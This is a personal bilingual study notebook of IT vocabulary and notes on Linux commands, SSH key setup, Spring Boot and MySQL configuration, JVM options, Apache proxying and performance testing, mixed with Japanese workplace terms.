WEP加密是最早在无线加密中使用的技术,因为不安全,现在已经不建议使用!
18.WPA3
全名为Wi-Fi Protected Access 3,是Wi-Fi联盟组织于2018年1月8日在美国拉斯维加斯的国际消费电子展(CES)上发布的Wi-Fi新加密协议,
是Wi-Fi身 份验证标准WPA2技术的的后续版本 。
19.過剰 かじょう
20.ストレス stress;强弱型音调中的强声部,重音,重读 ; 给物体施加的压力; 应激反应,(精神)压力,紧张状态。
1.滞留 たいりゅう
2.上限 じょうげん
3.kbps kbps(千比特每秒) kilobit per second
4.bit // 8bit = 1byte
5.RX==receive,接收,从开启到现在接收封包的情况,是下行流量。 不断增长 //Linux ifconfig
6.TX==Transmit,发送,从开启到现在发送封包的情况,是上行流量。不断增长 //Linux ifconfig
shell自动化处理_相关知识整理(整理中)20210329_sun0322-CSDN博客 → ■网络通信
7.Sector 扇区 // Linux
文件存储在硬盘上,硬盘的最小存储单位叫做“扇区”(Sector)。
每个扇区储存512字节(相当于0.5KB)。
8.block 块 // Linux
操作系统读取硬盘的时候,不会一个个扇区的读取,这样效率太低,
而是一次性连续读取多个扇区,即一次性读取一个“块”(block)。
这种由多个扇区组成的“块”,是文件存取的最小单位。
“块”的大小,最常见的是4KB,
即连续八个sector组成一个block。
・total 4
“所列出内容的磁盘占用空间总和值。单位为kbytes"
1个文件,至少占用1个块。
1个块的大小是4K
所以显示4
9.リモート n. 远程 remote [rɪˈməʊt]
10.計測 けいそく 测量;计量(器械を使って,ものの量や値をはかること)。 // 処理の時間を計測する。
11.間隔 かんかく // 感覚 かんかく
12.測定 そくてい 测量,测定 // ログ出力量測定
13.ストレス stress 重音,压力 ストレステスト
14.Chrome开发者工具中的performance检测页面性能
https://blog.csdn.net/kongduxue/article/details/82017491
1.控制按钮。
2.overview。页面性能的高级汇总(FPS:帧率,CPU:CPU占用,NET:网络请求)
3.火焰图。CPU堆叠追踪的可视化(左侧名称是主线程的各种事件,Network:网络请求详细情况)
4.数据统计。以图表的形式汇总数据(summary:统计报表,Bottom-Up:事件时长顺序,Call Tree:事件调用顺序,Event log:事件发生的先后顺序)
颜色表示:HTML 文件为蓝色,脚本为黄色,样式表为紫色,媒体文件为绿色,其他资源为灰色
Network中,可以看到 所有 from中,action的请求!!! 在这里面看,每一个处理的时间
15.screenshot 截图
16.screenshots 屏幕录制 //Chrome开发者工具中的performance检测页面性能 // 不用勾选这个选项
17.shortcut ショットカット 快捷键
18.トレース trace [treɪs] 追踪 // Excel Alt + M + P
19.トレーサビリティ traceability [ˈtreɪsəbɪlɪtɪ] 可跟踪性 // SRD
20.なさそうです。
【否定形与(样态)助动词“そうだ】
雨は降らなそうですね //看这情况雨是下不起来的
今日は定時で帰れなそうだ //看今天这样子不能准点回去了”
ごめん。電車が遅れてる!間に合わなそう //不好意思。电车晚点了!看样子赶不上了”
こんなに蓄えがあったら当分は困らなそうだ //有了这样一笔积蓄的话,看起来暂时也没什么可忧虑的了”
【ありなしに関する場合=「なさそう」】
問題はなさそうだ //似乎没什么问题
21.neural [ˈnjʊərəl] 神经的; 神经系统的;
22.nature [ˈneɪtʃə] 大自然;自然方式;
23.Community S [kəˈmjuːnɪtɪ] n. 社区;社会;群落;伙伴关系;群体,团体
https://blog.csdn.net/sxzlc/article/details/115601552
● MySQL Community Server:Community是社区版本,开源免费,但不提供官方技术支持;
● MySQL Enterprise Edition:Enterprise企业版本,需付费,可以试用30天,提供官网技术支持;
● MySQL Cluster:Cluster集群版,开源免费,可将几个MySQL Server封装成一个Server;
24.certificate [səˈtɪfɪkɪt] n. 文凭;执照;证明,证书 v. 发证书给;用证书证明 .cer .cert
25.firewalld
ps -ef | grep firewalld
ps -ax | grep firewalld
deamon 的原因,ps -aux | grep firewalld 看不到 这个进程
26.dir | sls folderOrFileName // powershell // sls Select String
27.SSL
服务器端部署了SSL证书,浏览器端才会显示HTTPS,HTTPS=HTTP+SSL。
・CA是数字证书管理机构
・CA签发SSL证书
・SSL证书是数字证书的一种 (certificate)
・https是SSL证书的一种表现形式。
使用JDK自带工具keytool生成ssl证书_seeker的博客-CSDN博客_keytool生成证书
28.Bash
Bash,Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。
1989年发布第一个正式版本,原先是计划用在GNU操作系统上,
但能运行于大多数类Unix系统的操作系统之上,
包括Linux与Mac OS X v10.4都将它作为默认shell。
Bash是Bourne shell的后继兼容版本与开放源代码版本,
它的名称来自Bourne shell(sh)的一个双关语(Bourne again / born again):
Bourne-Again SHell。
---
29.guard [ɡɑːd ] 卫兵,警卫员,看守
30.Thumbs.db
Thumbs.db是一个用于Microsoft Windows XP或mac os x缓存Windows Explorer的缩略图的文件。
Thumbs.db保存在每一个包含图片或照片的目录中。
Thumbs.db文件可缓存图像文件的格式包括:jpeg,bmp,gif,tif,pdf和htm。
----
31.GNU/LInux
32.achieved [əˈtʃiːvd] 完成,成功
33.initialization-mode: always // Spring boot // mysql
// ↑ 效果: 每次加载此yml文件 执行之前,会清空所有表中的内容
34.initialize-schema: never // Spring boot // mysql
通过上面34,33的设定。
每次都会 ,【清空数据库表的内容】,但是【不会重新创建表】。
spring:
quartz:
job-store-type: jdbc #数据库方式
jdbc:
initialize-schema: never #不初始化表结构
35.spring-boot db
Springboot(二十)启动时数据库初始化spring.datasource/spring.jpa_徐海兴的专栏-CSDN博客
spring:
datasource:
username: xxx
password: xxx
url: jdbc:mysql://192.168.94.151:3306/mytest?useUnicode=true&characterEncoding=utf8&characterSetResults=utf8
driver-class-name: com.mysql.jdbc.Driver
platform: mysql
#启动时需要初始化的建表语句
schema: classpath:schema-mysql.sql
#初始化的数据
data: classpath:data-mysql.sql
# Initialize the datasource with available DDL and DML scripts.
initialization-mode: always
continue-on-error: false
#data-password:
#data-username:
#schema-password:
#schema-username:
sql-script-encoding: utf-8
separator: ;
36.即時 そくじ 即刻,马上,当时,立即,立刻。(すぐその時。即刻。)
37.クロップ 庄稼;谷物;叶尖饰;顶花饰;切头;切尾 // 画框
38.variable [ˈværiəbəl] 变量 // show variables like '%secure%' // mysql 执行 sql文件 权限目录
n. 可变的事物,可变的量 adj. 可变的,不定的;亮度变化的
39.slave n. 奴隶;完全被控制的人 // Jenkins中 ①sleave 节点 ②'ssh-slaves'
40. RAS // ssh-keygen(linux 命令) // private key(私钥) , public key (公钥)
41. .ssh/
42. scp id_rsa.pub user001@serverName:/home/user001/.ssh/authorized_keys
scp id_rsa.pub user001@serverName:/home/user001/.ssh/authorized_keys
(命名时,authorized_keys2 也可以。)
配置完之后
ssh user001@serverName // 不必再输入密码了
43.ssh-keygen [-q] [-b bits] [-C comment] [-f output_keyfile] [-m format]
[-t dsa | ecdsa | ecdsa-sk | ed25519 | ed25519-sk | rsa] [-N new_passphrase] [-O option] [-w provider]
44.cnblogs 博客园
45.centOS (Community Enterprise Operating System,中文意思是社区企业操作系统)是Linux发行版之一
46.export [ˈɛkspɔːt] n. 输出,出口;出口商品 v. 输出,出口;传播 // Linux Bash 中,定义变量
set 用来显示本地变量
env 用来显示环境变量
export 用来显示和设置环境变量
※ windows 中的bat,使用【set】来设置变量
47.Linux中,公钥与私钥的内容
--
48.Windows中,公钥
A(例子中是本地电脑)通过ssh首次连接到B(例子中是Linux的虚拟机),B会将公钥1(host key)传递给A,
A将公钥1存入(登录用户目录下的.ssh文件夹\)known_hosts文件中,
===
以后A再连接B时,B依然会传递给A一个公钥2,
OpenSSH会核对公钥,通过对比公钥1与公钥2 是否相同来进行简单的验证,
如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
49.内容 (ecdsa) IP
50.RSAAuthentication、PubkeyAuthentication
cat /etc/ssh/sshd_config
PAM认证
设置ssh白名单登陆
vim /etc/pam.d/sshd
auth required pam_listfile.so item=user sense=allow file=/etc/sshusers onerr=fail
把需要登录的账号添加到 /etc/sshusers文件中
公钥私钥认证
RSAAuthentication、PubkeyAuthentication
密码认证
PasswordAuthentication
LDAP进行统一认证
01.先頭文字 せんとうもじ // 頭文字 かしらもじ
02.tableau 英 [ˈtæbləʊ] n. 生动的场面,戏剧性局面 // 可以形容【组织架构】
03.abort [əˈbɔːt] n. 中止计划 v. (使)中止;(使)流产 // Jenkins 终止当前发布
04.Tortoise [ˈtɔːtəs] // 小乌龟 // SVN ,Git等 视图化的管理工具 TortoiseGit TortoiseSVN
05.Whale [weɪl] 鲸鱼 // Docker
06.embedded [ɪm'bedɪd] adj. 嵌入式的,植入的,内含的 v. 嵌入,植入(embed的过去式和过去分词) // Spring boot tomcat
07.ambiguous [æmˈbɪɡjʊəs] // adj. 含混不清的;引起歧义的 //mysql DBUnit
AmbiguousTableNameException: // DBUnit
08.java -XX
Java HotSpot VM Options
09.heap 堆 ヒープ // java Xmsx4g
10.banner [ˈbænə] n. 旗帜;横幅,标语;旗号 // spring banner mode
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v1.5.9.RELEASE)
2021-05-10 21:52:55.827 INFO 2444 --- [ main] s.c.S.HelloWorldMainApplication : Starting HelloWorldMainApplication on Sun_Xuezhi with PID 2444 (C:\UserName\MyDocument\workspace\SpringBootStaduy001\target\classes started by UserName in C:\UserName\MyDocument\workspace\SpringBootStaduy001)
2021-05-10 21:52:55.827 INFO 2444 --- [ main] s.c.S.HelloWorldMainApplication : No active profile set, falling back to default profiles: default
2021-05-10 21:52:55.873 INFO 2444 --- [ main] ationConfigEmbeddedWebApplicationContext : Refreshing org.springframework.boot.context.embedded.AnnotationConfigEmbeddedWebApplicationContext@7dc222ae: startup date [Mon May 10 21:52:55 CST 2021]; root of context hierarchy
2021-05-10 21:52:57.027 INFO 2444 --- [ main] s.b.c.e.t.TomcatEmbeddedServletContainer : Tomcat initialized with port(s): 8080 (http)
2021-05-10 21:52:57.038 INFO 2444 --- [ main] o.apache.catalina.core.StandardService : Starting service [Tomcat]
2021-05-10 21:52:57.038 INFO 2444 --- [ main] org.apache.catalina.core.StandardEngine : Starting Servlet Engine: Apache Tomcat/8.5.23
2021-05-10 21:52:57.131 INFO 2444 --- [ost-startStop-1] o.a.c.c.C.[Tomcat].[localhost].[/] : Initializing Spring embedded WebApplicationContext
2021-05-10 21:52:57.131 INFO 2444 --- [ost-startStop-1] o.s.web.context.ContextLoader : Root WebApplicationContext: initialization completed in 1261 ms
SpringBoot之HelloWorld_sun0322-CSDN博客
11.Introduced [ˌɪntrəˈdjuːs] v. 介绍;推行;引进(动物或植物) // Manageable. (Introduced in 1.4.0.)
12.SpringBoot+thymeleaf
org.springframework.boot
spring-boot-starter-thymeleaf
SpringBoot+thymeleaf模板_oyc的博客-CSDN博客
13.spring session
使用Spring Session和JDBC DataStore进行会话管理_最佳 Java 编程-CSDN博客
Spring Session-使用JDBC的HttpSession_未名who的博客-CSDN博客
14.OSS オープンソース(OSS)【Open Source Software】
// Maven 外部で作成されたjarファイル。Java処理で利用している
15.-Djava.awt.headless=true
https://docs.oracle.com/javase/jp/7/technotes/guides/awt/1.4/AWTChanges.html
ヘッドレスを実装した環境を実行するには、java コマンド行に次のプロパティーを指定します。
このプロパティーが設定されず、ディスプレイ、キーボード、およびマウスがサポートされない場合、デフォルトではヘッドレス実装が使用されます。
16.-Dosgi.shell.telnet
https://felix.apache.org
使用Apache Felix Remote Shell远程管理OSGI - 尚码园
OSGi Open Service Gateway Initiative
17.-Dfelix.fileinstall.poll
使用Apache Felix文件安装配置OSGi服务
https://blog.csdn.net/dnc8371/article/details/106705192
-Dfelix.fileinstall.dir="${project_loc:com.codeaffine.fileinstall.example.config}"
-Dfelix.fileinstall.noInitialDelay=true
-Dfelix.fileinstall.poll=1000
18.-Dcom.sun.enterprise.security.httpsOutboundKeyAlias
===
8.8.15 Java VMの定義項目
如何为HTTPS调用指定出站证书别名? | 经验摘录
调用一个需要客户端证书身份验证的Web服务.
如果指定一个包含单个证书的Java密钥库(服务期望的客户端证书),那么一切正常。
但是,如果使用包含多个证书的密钥库,那么似乎无法指定客户端应该选择哪个证书,
客户端似乎会获取第一个可用证书(按字母顺序).
指定应使用哪个客户端证书别名
System.setProperty("com.sun.enterprise.security.httpsOutboundKeyAlias", "my-client-certificate alias");
===
19.-XX:+UnlockExperimentalVMOptions解锁实验参数,JVM中有些实验参数无法直接赋值,必须先使用此参数才能赋值
20.-XX:+UnlockDiagnosticVMOptions解锁诊断参数
31.-XX:+PrintCommandLineFlags打印命令行参数
例如,使用PrintFlagsFinal命令查看JVM参数
java -XX:+PrintFlagsFinal
32.ブレークポイント break point 断点
33.チューニング tuning 调谐。调整。收听广播或收看电视等
34.dependency 英 [dɪˈpɛndənsɪ] n. 依赖;瘾;附属国,附属地
35.Springboot 版本冲突
https://docs.spring.io/spring-boot/docs/2.0.3.RELEASE/reference/htmlsingle/#appendix-dependency-versions
Spring Boot Reference Guide
spring-batch-core-4.1.2.RELEASE.jar
---
SpringBoot之HelloWorld_sun0322-CSDN博客 (Spring boot :Hello World)
---
Appendix F. Dependency versions
---
The following table provides details of all of the dependency versions that are provided by Spring Boot in its CLI (Command Line Interface), Maven dependency management, and Gradle plugin. When you declare a dependency on one of these artifacts without declaring a version, the version listed in the table is used.
下表提供了SpringBoot在其CLI(命令行界面)、
Maven依赖关系管理和Gradle插件中提供的所有依赖关系版本的详细信息。
当您在没有声明版本的情况下声明对这些工件之一的依赖时,将使用表中列出的版本。
---
Spring Boot Reference Documentation
spring-batch-core-4.2.2.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.2.4.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.2.5.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.2.6.RELEASE.jar
---
Spring Boot Reference Documentation
spring-batch-core-4.3.0.RELEASE.jar
Spring Boot Reference Documentation
spring-batch-core-4.3.2.RELEASE.jar
36.Spring boot :Hello World
SpringBoot之HelloWorld_sun0322-CSDN博客
37.resolvable [rɪˈzɒlvəbəl] adj. 可分解的,溶解性的,可解决的
// [FATAL] Non-resolvable // Maven Pom 写了一个不存在的版本时,出现此关键字
01.カスタマイズ 【英】customize ;按客户要求定制
02.Jaxb
javax.xml.accessExternalSchema
Jaxb是JavaEE的规范.
全称Java Architecture for XML Binding.
・JAXB常用注解讲解(超详细)_wn084的博客-CSDN博客_jaxb
・Jaxb 完全手册 - cnsdhzzl - 博客园
03.Logback // logback-spring.xml
是log4j 框架的作者开发的新一代日志框架,它效率更高、能够适应诸多的运行环境,同时天然支持SLF4J
// XXXX.XXXX.XXX 代表 package
04.CVE
CVE-2020-5411: Jackson Configuration Allows Code Execution with Unknown “Serialization Gadgets” | Security | VMware Tanzu
CVE -CVE-2020-5411
spring批处理核心易受远程代码执行的攻击。jackson在4.2.3中的升级在默认情况下启用了默认类型,并导致spring批处理可以进行不受信任的反序列化。
如果“Execution Context”被序列化,并且攻击者对“JobRepository”使用的数据存储具有写访问权限,则攻击者将能够执行任意代码
ーーー
05.contributor [kənˈtrɪbjʊtə] n. 投稿者;贡献者;捐助者;促成因素 // github contributors
06.pulse [pʌls] n. 脉搏,脉动;脉冲;意向,心态;活力;节奏,鼓点 // github
07. Issue [ˈɪʃu:] n. 流出;问题;期,号;发行物 // Issues n. 内容,问题
08.frequency] [ˈfriːkwənsɪ] n. 发生率,频繁,频率 // github [code frequency]
09.integrated [ˈɪntɪˌɡreɪtɪd] adj. 综合的;集成的;整合的;完整的;互相协调的
10.maintainer [meɪnˈteɪnə] n. 维修工,维护人员;保持器
11.Replace
VBA // 把空格替换成aaaaaaa
str2 = Replace(str, " ", "aaaaaaa")
BAT // 把aaaaaaa替换成空格
set newTitle4=%newTitle3:aaaaaaa= %
12.M/W ミドルウェア MW 中间件 (tomcat 、 mysql、 Apache)
13.ciphers [ˈsaɪfə] // SSL HTTPS
n. 密码;零;不重要的人;无价值的东西
v. 使用密码,用密码书写,将…译成密码;计算;想出
server.port=443
server.ssl.key-store: .keystore
server.ssl.key-store-password: tomcat
server.ssl.keyStoreType: JKS
server.ssl.keyAlias: myTomcat
server.ssl.ciphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA,SSL_RSA_WITH_RC4_128_SHA
1.isolation [ˌaɪsəˈleɪʃən] n. 隔离;孤立;孤独;绝缘;离析 //mysql show variables like '%isolation%'
2.オンプレミス(英:on-premises) // クラウドじゃない方。
3.パッチ patch /pætʃ/ n.补丁;补片 // バージョンアップ
4.パンチ入力とは、
領収書や品目表、または議事録などの手書きの文章や数字をパソコンなどで入力し、
電子データとして保存する作業のことです。
パンチ入力の概要・作業内容、データ入力との違いとは |【EMEAO!】失敗しない!業者選定ガイド
5.Linux查看版本(内核版本,系统版本)
uname -a
lsb_release -a
cat /etc/redhat-release
查看Linux系统版本 - ywl925 - 博客园
6.FQDN = Hostname + DomainName // 即全限定域名:同时带有主机名和域名的名称
如 主机名是 fanyi
域名是 baidu.com
FQDN= fanyi.baidu.com
7.コンチプラン // 不測の事態に備えた計画
コンチプランとは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
8.embedded 組み込み
9.RHEL // Red Hat Enterprise Linux // Red Hat公司发布的面向企业用户的Linux操作系统。
10.CKPT check point
11.週次会議(しゅうじかいぎ)
12. 踏まえる(ふまえる)
13.見通し // 预测,预料。
14.コンポーネント 组件 component
15.リバースプロキシ(Reverse Proxy)反向代理服务器
16.Active Directory
Active Directoryの認証の仕組み:CodeZine(コードジン)
Active Directoryでユーザー認証などを行えることを、前回までで紹介しました。
ここではどのようにユーザー認証が行われるのかについて、
ワークグループ環境とドメイン環境を比較して紹介したいと思います。
17.Payara(パイアラ)
Payara とは?動作確認や機能、特徴などを解説 | OSSサポートのOpenStandia™【NRI】
18.Spring Batch相关的表(9个)
Spring Batch相关的表_Tong XU的博客-CSDN博客
https://blog.csdn.net/weixin_30251829/article/details/95438309
19.Proxy(Apache Location)
リバースプロキシの設定
セクションの中で使われた場合は、 最初の引数は省略され、ローカルディレクトリは から取得されます。
20.インプレースアップグレード (in-place upgrade) // mysql 小版本升级
https://kotobank.jp/word // 单词检索
21.chrome 英 [krəʊm] 美 [kroʊm] 铬合金 [ Google Chrome ] [ グーグル クローム ]
22.ピーク 【英】peak;峰值,最大量。 // 性能测试
23.stub(スタブ)
テスト用に用意した、まだ完成していない機能の代わりとなる部品であり
テスト対象から呼び出される部品の代わりとなるやつです。
ちょっと小難しい表現を使うと
スタブ【テスト】 (stub)とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典
24.JRE中的jar包(java8\jre\lib)
rt.jar:
Java基础类库,也就是Java doc里面看到的所有的类的class文件。
tools.jar:
是系统用来编译一个类的时候用到的,即执行javac的时候用到。
dt.jar:dt.jar
是关于运行环境的类库,主要是swing包。
25.DD (detail design) 詳細設計 =(内部设计 ID) ⇒ UT
26.HLD(High-Level Design) 概要設計(基本设计) =(外部设计 ED) ⇒ IT(Integration )
HLD中,基本上不会涉及实现方式相关的内容
V字模型
软件开发中的V字模型与W模型(使开发与侧试分离)_sun0322-CSDN博客_v字开发模型
===
27.显示3天之前的文件(一般有用删除操作)
find /AAA/BBB/CCC/Back -type f -daystart -mtime +2 | xargs ls -l
(查看更新时间为,n日之前的文件(从今日24:00开始计算))
28.storage [ˈstɔːrɪdʒ] n. 贮藏,保管;贮藏库,仓库 // Eclipse Secure Storage // Git密码
29.ProxyPass // Apache 转发(代理:客户端到服务器)
30.ProxyPassReverse // Apache 转发(反向代理:服务器到客户端)
ProxyPass与ProxyPassReverse及ProxyPassMatch这几个都是APACHE的代理指令
例:
ProxyPass /yourWebName http://localhost:8081/yourWebName
ProxyPassReverse /yourWebName http://localhost:8081/yourWebName
31.daemon デーモン
在Shell中,“$“和“&“的作用_sun0322-CSDN博客
让程序后台运行
java -jar SpringBootPorjectName.jar 2>&1 1>/dev/null &
32.立ち合い
(“たちあう”的名词形)会同,在场,列席。(その場にいて物事の成り行きや結果を見守ること。また、その人。)
33.springboot
java -Dloader.path=/lib/projectA/other_lib -jar /lib/projectA/aaa.jar --spring.config.location=/lib/projectA/application.yml --server.port=8081
java -Dloader.path=/lib/projectA/other_lib -jar /lib/projectA/aaa.jar --spring.config.location=/lib/projectA/application.yml -Dserver.port=8081
su - user001 -c 'java -verbose:gc -Xloggc:/AAA/BBB/aaa-gc.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -jar /XXX/XXX/xxxx.jar --server.port=8081 2>&1 1>dev/null &'
34.usermod -g group1 user001
-g:表示指定用户组的用户主组 选项的值可以是用户组的id,也可以是组名
-G:表示指定用户的用户附加组 选项的值可以是用户组的id,也可以是组名
-u:uid,用户的id(用户标识符)系统默认会从500之后按顺序分配uid,如果不想使用系统分配的,可以通过该选项自定义
-l:修改用户名
35.Jenkins Apache Proxy // 代理 转发 forwards
Reverse proxy - Apache (jenkins.io)
36.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
37.snapshot 版本代表不稳定、尚处于开发中的版本,即快照版本 // Maven
38.release 版本代表功能趋于稳定、当前更新停止,可以用于发行的版本 //安定版 // Maven
39.allot [əˈlɒt] v. 分配,划拨
40.默认情况下,shell里面定义的任何变量都是全局变量;
只有,在变量的前面加上关键字local,这个变量就只存在对应的作用域里面,比如function内
41.individual [ˌɪndɪˈvɪdjʊəl] 个人,个体 个别的;个人的;独特的 // XML
42.snapshot 版本代表不稳定、尚处于开发中的版本,即快照版本 // Maven
43.LogFile
org.springframework.boot.logging
44.deprecated [ˈdɛprɪˌkeɪt] vt. 声明不赞成,抨击,反对 // spring boot // logging.file
45.unix时间戳 从1970年1月1日(UTC/GMT的午夜)开始所经过的秒数
在线时间戳转换工具
1625130956
2021-7-1 17:15:56
46.XMLHttpRequest
XMLHttpRequest 是 AJAX 的基础。
所有现代浏览器均支持 XMLHttpRequest 对象(IE5 和 IE6 使用 ActiveXObject)。
XMLHttpRequest 用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
xmlhttp.open("GET","test1.txt",true);
xmlhttp.send();
AJAX - 向服务器发送请求
资料 AJAX
------
原始的Ajax请求方式 (XMLHttpRequest)_sun0322-CSDN博客
------
47.javax.servlet.annotation.WebServlet
@WebServerlet(name="/XX/XXX/XXX"", urlPattern={"/XX/XXX/XXX"})
48.response.sendRedirect(url);
49.response.getRequestDispatcher(url).forward();
50.
01.アセスメント assessment 评价,审定,评定,判断 // 脆弱性分析
02.CR(キャリッジリターン)
03.LF(ラインフィード)
04.Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
05.terminators [ˈtɜːmɪˌneɪtə] n. 终结者;终止符
06.alias cd = `cd &&ls`
#把cd和ls命令设置别名到cd,这样cd命令就可以执行cd+ls。
07.runQueue 进程队列 // Linux 性能 // Nmon
08.LoadRunner 负载测试 工具
09.forbidden [fə'bidn] 禁止的; 不准的; // maven 403
10.デグレード (デグレ) degrade ;降级;恶化;退步。
11.リグレッションテスト
私は「リグレッションテスト」(デグレってないか確認するためのテスト)という用語でしか聞いたことないよ
12.ちょくぜん 直前 即将……之前,眼看就要……的时候。
13.性能测试
性能测试主要包含两个特性:时间和资源。
性能测试方法主要包括:性能测试、配置测试、并发测试、负载测试、压力测试、稳定性测试。
性能测试:测试环境和测试目标确定的情况下,测试系统是否达到宣称的能力;
配置测试:系统具有一定的测试基础时,通过修改环境配置,例如服务器参数等,对比之前的测试结果进行优化;
并发测试:在同一时间内对服务器进行数据交互的所有用户数量。模拟多个用户并发使用系统,测试系统是否存在死锁、内存泄漏等问题。
负载测试:逐渐向系统添加压力,观察系统资源消耗情况,知道某一项资源达到极限。一般用于度量系统的性能容量,寻找系统瓶颈为系统调优提供数据;
压力测试:系统承受一定的压力的情况下,测试系统是否会出现错误。系统压力包括CPU、内存、磁盘、网络等方面的压力,施加压力的方法包括利用工具占用系统资源、增加并发量等;
稳定性测试:系统承受一定压力的情况下,运行一段时间,测试系统是否平稳运行;
===========
・吞吐量:
单位时间内对服务器处理请求数量一般是以秒来进行计算 测试的是服务器的承载能力
F= vu*r/T Vu是指模拟用户数量 R 是指请求数量 T 测试时间
・Tps:
每秒处理的事务数
・资源利用率:
cpu 利用率 不能超过70%-80% 内存 80%以内 磁盘 80%以内 带宽
・响应时间:
指应用系统发出请求开始到客户端接受到所有的数据所消耗的时间 :
网络传输时间为 n1+n2+n3+n4、
应用延迟时间为 a1+a2+a3 、
数据库延迟时间、
应用服务器延迟时间
===========
14.estimated // Veracode 進捗 估算的;估计的;估量的 [ˈestɪˌmeɪtɪd]
15.見込(み)が立たない 不可预料。
16.池化技术 线程池 // 数据库连接池
17.centos Community Enterprise Operationg // 基于RHEL // 免费
18.ubuntu // 有桌面操作系统 (Linux)
19.user.home // maven // ${user.home}/.m2/settings.xml // ${M2_HOME}/conf/settings.xml
//mvn -Duser.home
20.vmstat
vmstat命令是最常见的Linux/Unix监控工具,可以展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情况
vmstart的用法_12864745的技术博客_51CTO博客
r 表示运行队列(就是说多少个进程真的分配到CPU),我测试的服务器目前CPU比较空闲,没什么程序在跑,当这个值超过了CPU数目,就会出现CPU瓶颈了。这个也和top的负载有关系,一般负载超过了3就比较高,超过了5就高,超过了10就不正常了,服务器的状态很危险。top的负载类似每秒的运行队列。如果运行队列过大,表示你的CPU很繁忙,一般会造成CPU使用率很高。
b 表示阻塞的进程,这个不多说,进程阻塞,大家懂的。
swpd 虚拟内存已使用的大小,如果大于0,表示你的机器物理内存不足了,如果不是程序内存泄露的原因,那么你该升级内存了或者把耗内存的任务迁移到其他机器。
free 空闲的物理内存的大小,我的机器内存总共8G,剩余3415M。
buff Linux/Unix系统是用来存储,目录里面有什么内容,权限等的缓存,我本机大概占用300多M
cache cache直接用来记忆我们打开的文件,给文件做缓冲,我本机大概占用300多M(这里是Linux/Unix的聪明之处,把空闲的物理内存的一部分拿来做文件和目录的缓存,是为了提高 程序执行的性能,当程序使用内存时,buffer/cached会很快地被使用。)
si 每秒从磁盘读入虚拟内存的大小,如果这个值大于0,表示物理内存不够用或者内存泄露了,要查找耗内存进程解决掉。我的机器内存充裕,一切正常。
so 每秒虚拟内存写入磁盘的大小,如果这个值大于0,同上。
bi 块设备每秒接收的块数量,这里的块设备是指系统上所有的磁盘和其他块设备,默认块大小是1024byte,我本机上没什么IO操作,所以一直是0,但是我曾在处理拷贝大量数据(2-3T)的机器上看过可以达到140000/s,磁盘写入速度差不多140M每秒
bo 块设备每秒发送的块数量,例如我们读取文件,bo就要大于0。bi和bo一般都要接近0,不然就是IO过于频繁,需要调整。
in 每秒CPU的中断次数,包括时间中断
cs 每秒上下文切换次数,例如我们调用系统函数,就要进行上下文切换,线程的切换,也要进程上下文切换,这个值要越小越好,太大了,要考虑调低线程或者进程的数目,例如在apache和nginx这种web服务器中,我们一般做性能测试时会进行几千并发甚至几万并发的测试,选择web服务器的进程可以由进程或者线程的峰值一直下调,压测,直到cs到一个比较小的值,这个进程和线程数就是比较合适的值了。系统调用也是,每次调用系统函数,我们的代码就会进入内核空间,导致上下文切换,这个是很耗资源,也要尽量避免频繁调用系统函数。上下文切换次数过多表示你的CPU大部分浪费在上下文切换,导致CPU干正经事的时间少了,CPU没有充分利用,是不可取的。
us 用户CPU时间,我曾经在一个做加密解密很频繁的服务器上,可以看到us接近100,r运行队列达到80(机器在做压力测试,性能表现不佳)。
sy 系统CPU时间,如果太高,表示系统调用时间长,例如是IO操作频繁。
id 空闲 CPU时间,一般来说,id + us + sy = 100,一般我认为id是空闲CPU使用率,us是用户CPU使用率,sy是系统CPU使用率。
wt 等待IO CPU时间。
21.-s file 文件大小非0时为真
[ -f "somefile" ] :判断是否是一个文件
循环读取文件
===============
while read line
do
…
done < file
===============
22.ややこしい 麻烦的,复杂的。
23.スペックアップ
スペックは「構成」とか「性能」とか、そんなニュアンスの用語です。
カゴヤ・ジャパンが専用サーバー最上位プランのディスク容量とメモリ容量を増量
24.$@ 是传给脚本的所有参数的列表
25.$! Shell最后运行的后台Process的PID
26.basename /tmp/test/file.txt // file.txt
27.basename /tmp/test/file.txt .txt // file
28.df -Th | tee file4.txt > /dev/null
如果你想隐藏或禁止tee命令在屏幕上打印输出,那么将输出重定向到/dev/null,如下所示:
29.ssh i
•-i:指定身份文件(预设是在使用者的家目录 中的 .ssh/identity)
ssh -i /XX/XX/identity_dsa userName@serverName
扩展
sftp userName@serverName
30.耐障害性 (たい障害性)
31.spring boot集成mybatis,启动报无法创建dataSource问题
Failed to instantiate [org.apache.tomcat.jdbc.pool.DataSource]: Factory method 'dataSource' threw exception;
// 解决方法,查看 application.properties 文件中的内容是否正确
spring boot集成mybatis,启动报无法创建dataSource问题_jack_chow的博客-CSDN博客
32.LoadRunner // 负荷测试 // 需要脚本 // 需要安装 // 需要软件的license (许可证)
33.nmon // CPU使用,MEMORY使用,RunQueue数
34.pending 未决的,未定的,待定的;迫近的
35.ワクチン 疫苗 // コロナのワクチン接種 // 07/14
